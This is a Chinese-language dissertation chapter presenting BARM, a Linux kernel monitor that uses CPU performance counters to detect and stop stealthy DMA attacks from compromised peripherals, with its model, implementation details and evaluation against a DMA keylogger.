在本章中，我们讨论了一种替代方法。我们的检测方法基于这样一种现象的观察，即来自隔离硬件（通过 DMA）和来自宿主 CPU 的并行内存访问造成了可测量的副作用。因此我们可以得出结论，即非法 DMA 操作不再是隐秘的。此外，我们不得不承认用于此检测方法的实验设置包含大量人为因素。我们得出结论，当前的设置不足以作为可以在实践中应用的检测工具。然而，我们展示了硬件性能计数器可以作为可靠的检测工具的基础。我们揭示了测量工具必须具有足够的测量分辨率。硬件性能计数器满足这一要求。我们将会在下一章更加详细地调查这一点。

没有替代品，只有那些其内部工作方式对于宿主可以访问，即完整的内存和只读存储器访问的专用硬件应该被部署。这使得宿主能够时时刻刻地检查该设备以查找恶意代码。关于这一点的一个前提条件是一种合理的测定策略，以及扫描程序得以首先加载。具有专用处理器、专用运行时内存以及 DMA 引擎的设备对于宿主平台来说是一种威胁。本章展示了需要额外的保护机制以确保平台的机密性和完整性，以及特别是它们的可信性。

第 5 章 DMA 恶意软件检测初步

您不能防御，您不能预防。您所能做的只有检测并且作出回应。——Bruce Schneier，美国密码学家，计算机安全和隐私专家

上一章呈现了计算机平台外设可以被利用以攻击宿主计算机平台。更准确地说，是那些诸如网卡、显卡以及管理控制器等专用硬件。专用硬件为攻击者提供了隔离的执行环境，该环境不会被代表了业界最先进技术的反病毒软件、入侵检测系统以及其他在市场上可获得的系统软件安全特性所考虑。因此，专用硬件非常适合于隐秘攻击 [35，36，46，123，134，135]。诸如此类的攻击也已经被整合进漏洞利用框架中 [19，18]。

例如，Duflot 等人 [47] 呈现了一种基于网卡（NIC）的攻击以便运行远程 shell 并且接管该宿主。他们使用利用了某个安全漏洞的攻击代码来渗透网卡。Triulzi [134，135] 展示了如何利用网卡和显卡（VC）的组合来访问主内存以允许攻击者偷取密码学密钥及其他敏感数据。Triulzi 远程利用了固件更新机制的漏洞以使得攻击代码进入该系统。

在第 4 章，我们描述了我们是如何利用某个集成在计算机平台上的内存控制器集线器（MCH）中的微控制器的漏洞来隐藏一个击键码记录器的，它被用于捕获诸如口令等机密数据。所有这些攻击的共同点是它们都拥有通过直接内存访问机制对主内存的访问。通过如此做，这些攻击绕过了由宿主系统软件设置的加固安全机制。更进一步地，这些攻击并不需要利用任何宿主系统软件漏洞。具有执行 DMA 传输的能力的设备称为总线主控，参见 2.5 节。在其他总线主控访问主内存时，通常运行着安全软件以揭示攻击的宿主 CPU 并不一定被涉及进来，参见第 4 章。由于诸如外设元件高速互连标准（PCIe）等现代总线架构的出现，一种必须由宿主 CPU 来配置的唯一中央 DMA 控制器已经过时。执行于专用硬件的隔离执行环境中的固件能够配置该外设的 DMA 引擎以读取或者写入主内存的任意位置，这对于宿主 CPU 来说 不可见。

在本章中，我们呈现了我们的 总线代理运行时监视器（BARM）——它是一种能够揭示并且终止针对平台主内存的基于外设的隐秘攻击的监视器。我们开发 BARM 是为了证实这一点，即宿主 CPU 能够检测到源自平台外设的针对平台主内存的额外（恶意）访问，即使宿主 CPU 不能访问可疑外设的隔离执行环境。关于额外访问，我们是指其本意并非代表宿主系统软件而进行的数据传送或者传输等访问。BARM 基于这样一种原型，它能够分析内存总线活动。它将由诸如操作系统或者虚拟机监视器等宿主系统软件所预期的总线活动同实际总线活动相比较。如果 BARM 检测到的总线活动多于宿主系统软件所预期的，则它将会报告基于 DMA 的攻击。BARM 还能识别恶意外设。

在前几章，我们还呈现了人们所提议的若干种考虑了 DMA 攻击的预防方法。例如，Intel 开发了一种输入/输出内存管理单元（I/OMMU），并且将此技术称为用于直接 I/O 的 Intel 虚拟化技术（VT-d [2]）。I/OMMU 可以被应用以限制对于主内存的访问。VT-d 的目的在于为流行的 x86 平台提供硬件虚拟化支持。然而，由于若干种原因，I/OMMU 不一定能够被信任为一种针对 DMA 攻击的反制措施。例如，I/OMMU (i) 必须被无瑕疵地配置 [83]，(ii) 可以被成功地攻击 [111，148，147，146]，以及 (iii) 当存在内存访问策略冲突时不能被应用，参见第 4 章。更进一步地，I/OMMU 并不能被每一种芯片组或者系统软件（例如 Windows Vista 和 Windows 7）所支持。另一种预防方法是在加载时检测外设固件的完整性。然而，这样的加载时检查并不能防止运行时攻击。无限重复进行此类检查以防止运行时攻击的代价是系统性能的损失。注意，这同样并不一定能够捕获瞬时攻击。更进一步地，宿主 CPU 是否能够访问用于存储平台固件的全部只读存储器这一点并不清楚。

在本章中，我们应对了这一挑战，即利用一种运行于宿主 CPU 之上的原型来检测恶意 DMA。通过监控总线活动，我们的方法并不要求能够访问该外设的 ROM 或者其执行环境。我们的原型被作为平台的系统软件的一部分而实现。其基本理念是：攻击者在访问平台的主内存时不能避免造成额外的总线活动。这些额外的总线活动是基于 DMA 的攻击的死穴，而我们正是利用这一弱点来揭示并且终止该攻击。我们的概念验证 BARM 实现了一种考虑了瞬时攻击的监控策略。我们的技术的主要目标是监视连接到内存总线的设备对内存的访问。特别地，宿主 CPU 核心为大量进程存取数据和指令。而诸如网卡和硬盘等外设带来的输入和输出（I/O）更加剧了这种情形。BARM 展示了如何应对这些挑战。

在本章中，我们呈现了一种方法以检测并且化解基于 DMA 的攻击。我们的主要贡献包括：

用于揭示攻击的预期总线活动模型以及真实总线活动的测量方法：本章呈现了一种新的机制以通过某个执行于宿主 CPU 之上的原型来监控完整的内存总线活动。我们的方法基于对预期的内存总线活动进行建模。更进一步地，我们呈现了一种技术以用于监视实际的总线活动。我们通过模型预期的活动与实际测量得到的活动之间的差值来揭示恶意内存访问。任何额外的 DMA 活动可以被预设为攻击行为。
解除恶意外设的能力：我们能够检测到发动攻击的外设。我们在一种我们称其为 BARM 的概念验证中实现并且评估了我们的检测模型。BARM 是足够高效和有效的，以使得它不仅仅能够检测到，并且还能够在攻击者能够造成任何伤害之前消除基于 DMA 的攻击的威胁。
运行时监视测量策略：我们实现了一种用于永久运行时监控的测量策略，它以可忽略的性能开销考虑了瞬时攻击，得益于 x86 平台上可用的 CPU 特性。

最后，我们的解决方案并不要求修改硬件或者固件。

5.1 通用检测模型

我们的检测模型的基础包括两个核心点。其一，内存总线是一种共享资源（参见图 5.1）。其二，系统软件，即操作系统，以 I/O 统计的形式记录了所有 I/O 活动。总线主控（CPU 和外设）通过内存总线连接到主内存。此总线为主内存提供且仅提供了一个必须被所有总线主控所共享的接口，参见图 5.1。我们将此共享资源看作某种挂钩，或者称其为攻击者的死穴。此共享资源的事实可以被宿主 CPU 所利用以确定是否有其他总线主控正在使用该总线。例如，如果宿主 CPU 在一定时间内不能访问该总线，则操作系统可以得出结论，即其他总线主控正在使用该总线。

图 5.1 总线主控拓扑结构被利用以揭示恶意内存访问

如果测量得到的总线活动值 A_m 和预期的总线活动值 A_e 之差大于 0，则额外的总线活动 A_a 被检测出来，并且 DMA 攻击被揭示出来。

宿主 CPU / 操作系统能够多么精确地确定恶意总线活动取决于实现。我们调查了多种基于计时测量和总线传输监视地指导意见。例如，对总线传输的计时测量实验由 Li 等人 [83] 描述。内存传输的计时测量方法给出于 4.5.2 节。我们的实验揭示了总线传输事件计数是最为可靠的方法。我们于 5.2 节呈现了这种新方法的实现。

5.2 检测模型的一种实现

在本节中，我们描述了我们自己的基于总线传输事件计数的通用检测模型的实现。我们的概念验证的目标是确认宿主 CPU 能够检测到源自外设的基于 DMA 的攻击。我们为 Intel x86 平台实现了 BARM。我们将 BARM 作为一个 Linux 内核模块来开发。根据第 4 章所描述的实验，执行于具有独立 DMA 引擎的外设上的恶意软件可以隐秘地访问主内存。当基于 DMA 的内存传输被建立时，宿主 CPU 不一定被涉及进来。然而，内存总线不可避免地是一种共享资源，它由 MCH 来仲裁，参见图 2.5。这是我们为何期待总线主控在访问主内存时会产生副作用的原因。

我们分析了性能监视单元（PMU，参见 2.3 节）的能力以发现并且利用这样的 DMA 副作用。PMU 被实现为模型特定寄存器。这些寄存器可以被配置为对与性能相关的事件进行计数。PMU 的本意并非用于检测计算机系统上的恶意行为。它们的目的是检测性能瓶颈以允许开发者相应地改良受到影响的软件的性能 [104]。在本工作中，我们利用 PMU 以揭示针对平台主内存的基于外设的隐秘攻击。执行于外设的恶意软件不能访问处理器寄存器，因此也就不能通过修改 PMU 处理器寄存器来对宿主 CPU 隐藏其活动。我们的分析揭示了可以被 PMU 计数的内存传输事件。特别地，一种称为 BUS_TRANS_MEM 的计数事件总结了所有突发（完整缓存线）、部分读 / 写（非突发），以及无效内存传输 [71]。这正是 BARM 的基础。

取决于精确的处理器架构，Intel 处理器为每个处理器核心提供了 5 到 7 个性能计数器寄存器 [69，第 18 章]。在此种情况下，利用一个处理器核心最多可以并行计数 5 到 7 个事件。这些寄存器中的 3 个是固定功能寄存器，即它们所计数的事件不可更改。其他计数器是通用目的计数器，我们可以将其用于 BARM 以对特定的 BUS_TRANS_MEM 事件进行计数。如果我们正确地应用 BUS_TRANS_MEM 计数器，我们就能够成功地测量 A_m。此时，这一知识并不足以确定此传输是否排他性地与某一操作系统任务相关联，或者这其中是否有恶意传输。在下文中，我们为揭示源自某个受到攻击的具有 DMA 能力的外设的恶意传输奠定基础。

5.2.1 总线主控分析

在下文中，我们就其所造成的总线传输数量对宿主 CPU（与处理器总线系统相关）以及通用主机控制器接口（UHCI）控制器（与 PCIe 总线系统相关）的总线主控进行了分析。通过如此做，我们考虑了共享内存总线的总线系统中最重要的部分。其他总线主控，诸如硬盘和以太网控制器，可以按照某种类似的方式进行分析。

宿主 CPU

宿主 CPU 可能是最具挑战性的总线主控。CPU 造成巨大数量的内存传输。若干个处理器核心为众多进程存取指令和数据。针对由它们所造成的总线活动来高效地监控所有这些系统进程几乎不可能。因此，我们决定这样来分析宿主 CPU 的总线代理行为，即利用 BUS_TRANS_MEM 事件，并且与某些控制选项以及所谓的事件名称扩展相结合。我们实现了一种用于此类分析的 Linux 内核模块。我们的关键结果包括：(i) 由用户空间和内核空间的进程造成的总线事件可以由同一个计数器来计数。(ii) 事件名称扩展 THIS_AGENT 和 ALL_AGENTS 可以同 BUS_TRANS_MEM 事件 [参见 71] 配合使用以区分由宿主 CPU 以及所有其他处理器总线系统上的总线主控所造成的总线传输。THIS_AGENT 对与属于某个 CPU 总线代理的所有处理器核心相关的所有事件进行计数。而 ALL_AGENTS 则对连接到宿主 CPU 所连接到的总线的所有总线代理的事件进行计数。ALL_AGENTS 扩展对于我们的实现至关重要。它允许我们以总线传输数量的形式测量总线活动值 A_m（参见 5.1 节）：

A_m = BUS_TRANS_MEM.ALL_AGENTS （公式 5.1）

更进一步地，我们的分析揭示了一块宿主 CPU 并不一定准确地就是一个总线代理。一块多核心处理器可能包含若干个总线代理。例如，我们使用的是一块四核处理器（Intel Core 2 Quad CPU Q9650 @ 3.00 GHz），它包含两个总线代理。两个处理器核心共用一个总线代理，如图 5.2 所示。因此，对于判定合法或者非法传输，处理器核心的数量至关重要。注意，如果宿主 CPU 拥有若干个总线代理，有必要为每个总线代理启用一个计数器，并且带有 THIS_AGENT 事件名称扩展。有了这一知识，我们就可以确定所有总线主控的总线主控传输 A_m。我们能够区分宿主 CPU 的总线活动（参见公式 5.2）和由通过 MCH 访问主内存的所有其他总线主控所造成的总线活动（参见公式 5.3）。

A_m^CPU = ∑_n=0^H BUS_TRANS_MEM.THIS_AGENT_{cpu_bus_agent#n}, H ∈ N, H = 宿主 CPU 总线代理数量 - 1 （公式 5.2）

~~A_m^CPU~~ = A_m - A_m^CPU ⇔ A_m = A_m^CPU + ~~A_m^CPU~~ （公式 5.3）

图 5.2 Intel 四核处理器

四核处理器包含两个总线代理，每个总线代理包含两个核心，参见 (a)。当同时利用两个总线代理，即 (b) 中的 BA#0 和 BA#1 对 BUS_TRANS_MEM 事件进行计数时，THIS_AGENT 名称扩展带来了显著的区别。(b) 中的内核日志同样描述了对应于名称扩展 ALL_AGENTS 的值在同一个计数器查询迭代内基本相同。

这意味着我们可以减去由所有处理器核心上运行着的用户空间和内核空间进程所造成的所有合法传输。注意，根据我们的信任和对手模型（参见 2.7 节），测量得到的宿主 CPU 的总线活动值和预期的宿主 CPU 总线活动值相同（A_e^CPU = A_m^CPU），由于运行于宿主 CPU 上的所有进程都可信。类似地，预期的总线活动值也可被分割，即 A_e = A_e^CPU + ~~A_e^CPU~~。

通用主机控制器接口控制器

通用主机控制器接口（UHCI）控制器是一种用于 通用串行总线（USB）设备，诸如 USB 键盘或者 USB 鼠标等的 I/O 控制器。USB 设备由 I/O 控制器轮询以检查是否有新数据。系统软件需要为 UHCI 控制器准备一组计划。此计划决定了某一被连接的 USB 设备如何被 I/O 控制器轮询。UHCI 控制器持久性地从主内存中检查其计划。显然，这一过程造成了大量总线活动。如果某次轮询报告有新数据可用，则更多的总线活动将会由 USB 设备产生。在下文中，我们将会分析这将会产生多少活动，即在为某个 USB 设备服务时，多少字节将会通过 UHCI 控制器传输。

在我们的案例中，I/O 控制器每毫秒分析其计划。这意味着控制器将会查找称为传输描述符的数据结构。为了获得描述符，控制器在每毫秒从某个列表中读取一个框架指针。一个框架指针（物理地址）引用到当前时间框架的传输描述符。传输描述符被组织进队列中。一个队列以队首开始，它可能包含一个指向首个传输描述符的指针，以及一个指向下一个队首的指针 [参见 62，p.6]。根据 Intel [62] 的说法，框架（指针）列表包含 1024 个项目，其大小为 4096 字节。UHCI 控制器需要 1024 ms（每毫秒 1 个项目）用于一个框架（指针）列表的迭代过程。借助于 Linux 的 UHCI 主机控制器设备驱动程序的最高调试模式，我们分析了一次迭代的总线传输数量。在该模式下，计划信息被映射到调试文件系统。我们确定了这些框架指针引用到中断传输队列（参见图 5.3 (d.i) 和 (d.ii)：int2，int4，……，int128），以及一个称为 async 的队列。int2 的涵义是，此队列被每隔 2 个框架指针引用，int4 指每隔 4 个，int8 指每隔 8 个，以此类推。async 队列被每隔 128 个框架指针引用。

图 5.3 UHCI 计划信息（简化）

此计划显示了 int 和 async 队列正在被使用。队列连接目标的物理地址被显示于方括号中。用于终止的队列连接或者队列元素所包含的值为 00000001 而非物理地址。此 int16 队列为我们的 USB 键盘负责。

未被指认的中断传输队列，即并未被用于轮询某一 USB 设备的队列，被重定向到 async 队列的队首，参见图 5.3 (b)。分析 async 队列要求 3 次内存读取访问，如图 5.3 (a) 所示。分析已被指认为轮询某一 USB 设备的中断传输队列需要多于 4 次内存读取。精确的内存读取次数取决于该队列中拥有多少元素。通常，如果该队列被指认给 USB 键盘，它只有 1 个元素。该队列可能还会拥有 2 个元素，例如该队列被指认给 USB 键盘和鼠标。如果该队列只有 1 个元素，分析整个被指认的中断传输队列需要 6 次内存读取，参见图 5.3 (c)。

我们的检查结果总结如下：

#总线读取传输 = 8 * #async 读取 + 8 * #int128 读取 + 16 * #int64 读取 + 32 * #int32 读取 + 64 * #int16 读取 + 128 * #int8 读取 + 256 * #int4 读取 + 512 * #int2 读取（公式 5.4）

如果 int16 被指认给 USB 键盘，计算得到总共需要 4216 次总线读取，如图 5.3 (d) 所示。根据 Intel [62] 的说法，UHCI 控制器需要更新队列元素。我们期待这一点对应于 int16 队列的队列元素。此队列被 64 个框架指针所引用。因此，我们计算得到 64 次内存写入访问。这意味着总线传输的总数是 4280。我们成功地利用一块 Dell USB 键盘以及一块 Logitech USB 键盘，配合 UHCI 控制器的单步调试模式 [参见 62，p.11] 验证了这种行为，此信息通过位于 /sys/kernel/debug/usb/uhci/ 的 Linux 调试文件系统以及用于计数 BUS_TRANS_MEM 事件的性能监视单元所获取。

利用同样的设置，我们确定了当 USB 设备拥有新数据需要传输至主内存时所需的总线传输数量。对于 USB 键盘，我们精确地确定了需要且只需要 2 次总线传输以处理一次击键事件。这同样适用于按键释放事件。Linux 驱动程序通过中断例程来处理此类事件。因此，为了确定预期的总线活动 A_e^UHCI，我们需要来自操作系统的已处理中断的数量并且复制它。这意味着我们的范例中的总线传输总数是 A_e^UHCI = 4280 + 2 * #USB 中断。

额外的总线主控

为了处理整个计算机平台上的总线活动，诸如以太网控制器和硬盘控制器等所有其他总线主控的行为必须以类似于 UHCI 控制器的方式进行分析。当我们在一台 Lenovo ThinkPad 笔记本计算机测试我们的检测模型时，我们不得不分析一个额外的总线主控。我们不能在早期 ThinkPad 型号上通过 BIOS 关闭指纹读取器（FR）。因此，我们分析了指纹读取器并且在我们的实现中考虑了这个总线主控。我们确定了它会造成每毫秒 4 次总线传输。对于本工作，或者更准确地说，为了显示宿主 CPU 能够检测 DMA 攻击，对于 BARM 而言，考虑最多 5 个总线主控就足够了。除了基于 CPU 的两个总线主控以及 UHCI 控制器以外，我们还将 Intel 管理引擎（ME）看作一个总线主控。在正常操作中，我们假设 A_e^ME = 0。为了能够显示我们的检测模型适用于某一计算机平台，我们并未在我们的实验中使用该平台上的全部总线主控。例如，我们在我们的评估中的某些测试中从计算机的主内存中运行 Linux 操作系统（参见 5.3 节）。这允许我们按需使用硬盘控制器的 I/O 功能。

有了本节中所呈现的分析，我们已经能够确认哪个总线主控造成了多少内存传输。这些中间结果如图 5.4 所示。

图 5.4 对由 3 个活动的总线主控造成的内存传输进行分解

最上方的曲线描述了（在我们的设置中的）所有活动的总线主控所造成的所有内存传输数量，即 A_m。其下方的曲线描述了 A_m 减去第一个 CPU 总线主控的预期内存传输，即 A_m - A_e^{CPU BA#0}。再下方的曲线代表 A_m - A_e^{CPU BA#0} - A_e^{CPU BA#1}，最下方的曲线表示 A_m - A_e^{CPU BA#0} - A_e^{CPU BA#1} - A_e^UHCI。

5.2.2 总线代理运行时监视器

有了我们于 5.2.1 节引入的总线主控分析，我们就能够以 Linux 内核模块的形式实现 BARM。在本节中，我们描述了我们是如何实现一种能够永久地监控并且评估总线活动地监控策略的。性能监视单元已经被配置为测量 BUS_TRANS_MEM 事件。对于 A_m，即 A_m^CPU 和 ~~A_m^CPU~~ 的永久监控采用如下步骤实现：

重置计数器并且存储所有非 CPU 总线主控（例如 UHCI、FR、ME、硬盘控制器（HD）、以太网控制器（ETH）、视频控制器（VC）等）的初始 I/O 统计数据。
开始对于一定时间 t 的计数（采用高精度计时器实现）。
当到达时间 t 时停止计数。
存储对应于 A_m 和 A_m^CPU 的计数器的值（参见 5.2.1 节），并且更新所有非 CPU 总线代理的 I/O 统计数据
继续步骤 (1)，并且通过唤醒对应的评估内核线程来并行确定 A_e。

我们还需要比较测量得到的总线活动和预期总线活动。BARM 在按照如下步骤执行评估内核线程时比较 ~~A_m^CPU~~ 和 ~~A_e^CPU~~：

利用所存储的对应于 A_m 和 A_m^CPU 的计数器的值来确定 ~~A_m^CPU~~（参见 5.2.1 节）。
利用 A_e^UHCI、A_e^FR、A_e^ME、A_e^HD、A_e^ETH 和 A_e^VC 等来计算 ~~A_e^CPU~~，这些值来自于所存储的更新过的 I/O 统计数据与所存储的初始 I/O 统计数据之差值。注意，对于我们的实现，我们假设 A_e^HD = 0，A_e^ETH = 0 等。
比较 ~~A_m^CPU~~ 和 ~~A_e^CPU~~，报告结果，并且如有必要则应用某种防御机制。

容错值

出于实践性，我们需要重新定义如何计算 A_a。我们利用 A_a 来解读我们的概念验证实现中的 PMU 测量结果。原因之一是 PMU 计数器不能被同时开始 / 停止。开始 / 停止某个计数器需要非常少的处理器周期，并且计数器是被逐个开始 / 停止的。同样的事情可能发生于非常短的时间之内，在此，计数器被停止以便被读取和重置（参见永久监控时的步骤 (3) 和步骤 (2) 之间的时间框架）。类似的不精确性可能发生于读取操作系统 I/O 统计数据时。因此，我们引入了容错值 T ∈ N，并且精炼 A_a：

A_{T_a} = 0, 如果 |A_m - A_e| ∈ {0, …, T}</br>A_{T_a} = |A_m - A_e|, 如果 |A_m - A_e| ∉ {0, …, T} （公式 5.5）

T 的值是可以自由选择的数字，用于表示 BARM 在检查额外的总线流量时可以容忍的总线传输次数。我们的评估显示了有用的 T 是一个非常小的值（参见 5.3 节）。此外，我们必须考虑 T > 0 的值在理论上赋予了攻击者隐藏攻击的机会，即发动瞬时攻击的机会。在最佳案例中（参见图 5.5），此隐秘攻击可以最多拥有 2 T 的总线传输。然而这 2 T 的总线传输不太可能足以用于一次成功的攻击。而在平台重启之后，数据很可能不在同一内存位置。因此，内存必须被重新扫描以查找有价值数据，而这需要大量的总线传输。由现代操作系统所应用的地址空间布局随机化（ASLR，同时参见 4.3.3 节）等机制同样使得搜索过程复杂化。这会导致更多的总线传输。更进一步地，攻击者需要知道 BARM 不得不容忍 - T 传输的非常精确的时间点。

图 5.5 容错值 T

如果攻击者能够预测非常精确的时刻，在此 BARM 认为 T 是太少的总线传输，则具有 2 T 的总线传输的攻击在理论上可以隐秘地执行。

识别并且禁用恶意外设

如果 A_{T_a} > 0，则 BARM 检测到了来自某个平台外设的基于 DMA 的攻击。知道有这样的攻击正在被执行已经具有很大价值。可以被应用于阻止一次攻击的一种简单的防御策略是利用所有不可信的总线主控的 BME 位（参见 2.5 节）来移除其总线主控能力。这样一种策略可能并不充分，如果所有平台特性都被要求能够运作。而如果没有进一步措施，这也可能导致数据丢失。然而，一台受到这样一种有目标的攻击的系统应该被下线以接受仔细的检查。

在终止不可信的总线主控时，BARM 会在平台屏幕上为用户放置一则通知。A_{T_a} 并不包含任何关于何种平台外设正在执行攻击的信息。为了在通知消息中包含此信息，我们实现了一种能够识别可疑外设的简单外设测试。在当 DMA 攻击仍在查找有价值数据时，我们通过逐个解除不可信的总线主控的 BME 位来揭示恶意外设。在 BME 位解除之后，BARM 检查额外总线活动是否消失。如果消失，则恶意外设被识别出来，并且该外设的名称被添加到攻击通知消息中来。如果 BARM 仍然检测到额外的总线活动，则此错误外设的 BME 位被重新设置。在外设测试阶段，操作系统必须不能触发任何 I/O 任务。我们的评估结果揭示了我们的测试可以在几毫秒之内执行完毕，参见 5.3 节。攻击行为处于活动的时间需要略长于我们的外设测试，否则，我们的测试便不能保证识别出恶意外设。第 4 章所述的针对 Linux 系统的 DMA 攻击需要 1000 ms 到 30000 ms 以扫描内存。我们的评估显示了 BARM 能够快得多地检测并且终止这一 DMA 攻击。

5.3 关于检测模型实现的评估

我们评估了作为 Linux 内核而实现的 BARM。首先，我们引导了一些测试以确定有用的容错值 T。在本节的主要部分，我们呈现了关于我们的解决方案的性能开销评估。我们显示了由 BARM 造成的开销是可忽略的。最后，我们引导了一些实验以评估在攻击过程中 BARM 的行为。

5.3.1 容错值 T

我们执行了若干组不同的测试以确定一个有用的容错值。我们重复了本组测试 100 次。若干种不同的测试意味着我们对于 BARM 评估了不同的 PMU 值采样区间（32 ms，128 ms，512 ms，1024 ms 和 2048 ms）、不同的 CPU 核心数（1 至 4 个核心）、不同的内存大小（2 GiB，4 GiB，6 GiB 和 8 GiB）、不同的平台（Intel Q35 台式机 / Lenovo ThinkPad：T400，X200，X61s），以及最低（节能模式）和最高（性能模式）CPU 频率，以检查它们对 T 的影响。更进一步地，我们对 BARM 进行了 CPU 和内存压力测试评估。CPU 压力测试意味着并行运行针对一个 100 MB 的测试文件的 sha1sum 命令 100 次以保证 CPU 使用率 100%。对于内存压力测试，我们将此 100 MB 的测试文件从主内存中的一个位置复制到另一个位置 2000 次。我们的平台拥有如下配置：Q35——Intel Core 2 Quad CPU Q9650 @ 3.00 GHz，4 GiB 内存；T400——Intel Core 2 Duo CPU P9600 @ 2.66 GHz，4 GiB 内存；X200——Intel Core 2 Duo CPU P8700 @ 2.53 GHz，4 GiB 内存，以及 X61s——Intel Core 2 Duo L7500 @ 1.60 GHz，2 GiB 内存。我们将采样区间 32 ms，1 个 CPU 核心，4 GiB 内存，Q35 平台，以及最大 CPU 频率作为基本评估配置。在每次测试中，我们只更改这些属性中的一个。结果总结于图 5.6 中。

图 5.6 确定足够的容错值 T

图 (a)-(f) 呈现了利用不同测试对 BARM 进行评估时的 A_a 计算结果的差值。BARM 执行了每种测试 100 次以确定 A_a。关于差值，我们是指最大和最小 A_a 之差。图 (a)-(f) 以盒图的形式显示了差值。对于每一种测试，对应的 A_a 的最小值、较低的四分位数、中位数、较高的四分位数以及最大值被描述出来。最小值和最大值之间的小点表示 A_a 平均值。A_a 的值一般位于 -10 到 10 之间。最大的绝对值为 19，参见图 (e) 之 X61s。

注意，为了确定 T，我们考虑了最多 5 个总线主控（1 至 2 个 CPU，一个 UHCI，一个指纹读取器，以及一个 ME 的总线主控）。我们使用 SliTaz Linux 发行版 [脚注 16]，它允许我们从内存运行 Linux 操作系统。其结果是我们能够选择性地激活或者取消激活诸如硬盘控制器总线主控这样的不同组件。总体测试结果展示了一种最差案例，其测量得到的和预期的总线传输之差值为 19（绝对值）。这一结果确认了这种关于总线活动的测量和评估能够得到可靠的值，即这些数值几乎没有任何波动。然而，为了安全起见，我们在利用一种基于 DMA 的隐秘击键码记录器评估 BARM 时使用的容错值是 T = 50，参见 5.3.3 节。

脚注 16：参见 http://www.slitaz.org/ [访问于 2014 年二月 25 日]

5.3.2 永久监控时的性能开销

由于 BARM 仅仅直接影响宿主 CPU 和主内存，我们评估了关于这两种资源的性能开销。BARM 在监控时并不访问硬盘或者网卡。我们利用 64 位 Ubuntu 内核（版本 3.5.0-26）评估了 BARM。在测试过程中，我们以最高频率运行宿主 CPU 以使其造成尽可能多的总线活动。更进一步地，我们使用 1 个或者 2 个 CPU 总线主控来执行我们的测试，以确定 CPU 总线主控的数量是否对于性能开销具有任何影响。最终，我们需要为第二个 CPU 总线主控使用更多的处理器寄存器（PMU）。另一件重要的事情是对采样区间的评估。因此，我们利用不同区间对 BARM 进行了配置并且检查了开销。为了测量开销，我们为所有测试使用了时间戳计数器（参见 2.3 节）。这些评估的结果如图 5.7 所示。

图 5.7 宿主性能 CPU 和内存开销评估

我们利用内存（MEM）和 CPU 基准测试测量了开销。每次测试使用 1 个在线的 CPU 核心（1 个 CPU 总线主控）或者 4 个在线的 CPU 核心（2 个 CPU 总线主控），参见图 (a) 和 (b)。首先，我们进行了不带 BARM 的基准测试以建立一组基线。随后，我们在启用 BARM 的情况下重复了这一基准测试（采样区间 32 ms）。其结果以相对开销的形式呈现。CPU 基准测试并未揭示任何显著开销。内存基准测试揭示了大约 3.5% 的开销。在线 CPU 核心数 / CPU 总线主控数对于开销没有影响。更进一步地，我们在使用不同的采样区间运行 BARM 时检查了其开销，参见图 (c) 和 (d)。同样，CPU 基准测试并未揭示任何开销。内存基准测试结果揭示了开销可以通过选择较长的采样区间而减少。较长的区间并不会阻止 BARM 检测 DMA 攻击。然而，较长的区间可能意味着攻击者在其攻击被检测到并且被终止之前已经造成了某些伤害。

5.3.3 展示 BARM 的有效性的一个应用案例

即使我们并未在我们所呈现的概念验证实现中考虑平台上的全部总线主控，我们仍然可以展示 BARM 的有效性。这是可能的，由于并非所有的平台总线主控都是每一项敏感应用所必需的。例如，如果用户输入口令或者其他敏感数据，则只有 UHCI 控制器和 CPU 是必需的。我们利用 Linux 上的口令提示符评估了 BARM。我们设置了一组环境，当使用 sudo 或者 ssh 命令时，有 4 个总线主控是活动的（2 个 CPU，一个 UHCI 和一个 ME 总线主控）。BARM 与 sudo 或者 ssh 命令一同启动，并且在口令被输入时停止。BARM 终止了非必需的总线主控并且在口令提示符通过之后立即重启它们。我们利用我们自己的基于 DMA 的击键码记录器 DAGGER 攻击了此口令提示符，它执行于 Intel ME 之上，参见第 4 章。DAGGER 利用 DMA 扫描主内存以查找键盘缓冲区的物理地址，而这也是通过 DMA 被监控的。

图 5.8 利用口令提示符（ssh 命令）于运行时的任意时间点评估 BARM

BARM 每隔 32 ms（采样区间）检查一次额外总线活动 A_a。如果测量值高于容错值 T = 50，则 A_a 被发现。如果平台未被攻击，则这些值低于 T，参见图 (a) 和 (b) 之“无 DAGGER”。图 (a) 描述了这样一种攻击，在此，DAGGER 已经在等待用户输入口令。BARM 在首次测量时就检测到了 DAGGER 并且几乎立即将其终止。图 (b) 描述了 DAGGER 试图在运行时的任意时间点攻击平台，其结果类似。图 (c) 是在如图 (b) 所示的攻击企图过程中由 BARM 生成的内核日志。

图 5.8 (a) 可视化了当平台受到攻击时 BARM 所采取的措施。受到攻击意味着在用户被提示输入口令时，DAGGER 已经被加载。图 5.8 (b) 描述了平台在运行时的任意时间点受到攻击时 BARM 的处理结果。为了便于比较，图 5.8 (a) 和 (b) 还可视化了当平台未受攻击时 BARM 的测量结果。图 5.8 (c) 是内核日志的一部分，它确认了 BARM 是多么快地终止了 DAGGER。BARM 于时间戳 350.401045 s 检测到了 DMA 攻击。BARM 于时间戳 350.465042 s 识别了基于 DMA 的恶意外设。这项测试确认了 BARM 能够在攻击者造成伤害之前检测到攻击。当击键码记录器仍然处于搜索模式时，BARM 就终止了其攻击。这意味着击键码记录器并未找到键盘缓冲区。因此，攻击者不能捕获任何击键。我们将 BARM 配置为具有 32 ms 的 PMU 值采样区间。我们的评估揭示了在这段时间内，攻击者已经造成了超过 1000 次内存传输。这意味着我们甚至可以选择一个远大于 T = 50 次总线传输的容错值。

5.4 当前的 BARM 实现的局限性

尽管对于当前的检测模型的实现的评估显示了 DMA 恶意软件可以利用可忽略的性能开销而被检测到，当前的实验仍然具有若干局限性。直到目前，我们只考虑了一个特定的 UHCI 控制器、一个指纹读取器、2 个 CPU 总线代理，以及一个 ME 外设作为总线主控（参见 5.3 节）。即使我们知道每一个总线主控都只能通过唯一的接口访问主内存，我们仍然不能排除这样的可能性，即当前用于此检测模型的方式不足以将所有可能的总线主控都整合进来。当前所整合进来的总线主控足以显示 BARM 可以检测到 DAGGER。此外，我们只考虑了某一代的 Intel 芯片组。这意味着关于其他世代芯片组以及其他厂商制造的芯片组的额外调查对于确定 BARM 在多大程度上普遍适用是必要的。

